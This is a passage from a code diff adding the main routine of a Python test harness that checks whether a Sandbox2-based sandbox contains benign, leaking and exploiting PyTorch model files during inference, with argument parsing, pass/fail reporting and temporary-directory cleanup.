Test') + parser.add_argument('--test', choices=['1', '2', '3', 'all'], default='all', + help='Which test to run: 1=benign, 2=leak, 3=exploit, all=all tests (default: all)') + args = parser.parse_args() + + print("=" * 40) + print("Sandbox2 Attack Defense Test") + print("=" * 40) + print() + + # Find binaries + try: + controller_bin, pytorch_bin = find_binaries() + print(f"Using controller: {controller_bin}") + print(f"Using pytorch_inference: {pytorch_bin}") + except Exception as e: + print(f"ERROR: {e}", file=sys.stderr) + sys.exit(1) + + # Create test directory + test_dir = tempfile.mkdtemp(prefix='sandbox2_test_') + print(f"Test directory: {test_dir}") + + try: + # Generate models + print("\nGenerating models...") + generate_models(test_dir) + print("✓ Models generated successfully") + + # Create controller process + controller_dir = Path(controller_bin).parent + controller = ControllerProcess(controller_bin, test_dir, controller_dir) + print(f"✓ Controller started (PID: {controller.process.pid})") + + # Run tests + failed = False + + if args.test in ['1', 'all']: + # Test 1: Benign model + model_path = Path(test_dir) / 'model_benign.pt' + if not test_benign_model(controller, pytorch_bin, model_path, Path(test_dir)): + failed = True + if args.test == '1': + # Only run test 1, exit early + controller.cleanup() + print("\n" + "=" * 40) + if failed: + print("Test 1 FAILED") + sys.exit(1) + else: + print("Test 1 PASSED") + sys.exit(0) + + if args.test in ['2', 'all']: + # Test 2: Leak model + model_path = Path(test_dir) / 'model_leak.pt' + if not test_leak_model(controller, pytorch_bin, model_path, Path(test_dir)): + failed = True + + if args.test in ['3', 'all']: + # Test 3: Exploit model + model_path = Path(test_dir) / 'model_exploit.pt' + if not test_exploit_model(controller, pytorch_bin, model_path, Path(test_dir)): + failed = True + + # Cleanup + controller.cleanup() + + print("\n" + "=" * 40) + if failed: + print("Some tests FAILED") + sys.exit(1) + else: + print("All tests PASSED") + sys.exit(0) + + except KeyboardInterrupt: + print("\nTest interrupted by user") + sys.exit(1) + except Exception as e: + print(f"\nERROR: {e}", file=sys.stderr) + import traceback + traceback.print_exc() + sys.exit(1) + finally: + # Cleanup test directory + try: + shutil.rmtree(test_dir) + except: + pass + + +if __name__ == '__main__': + main() +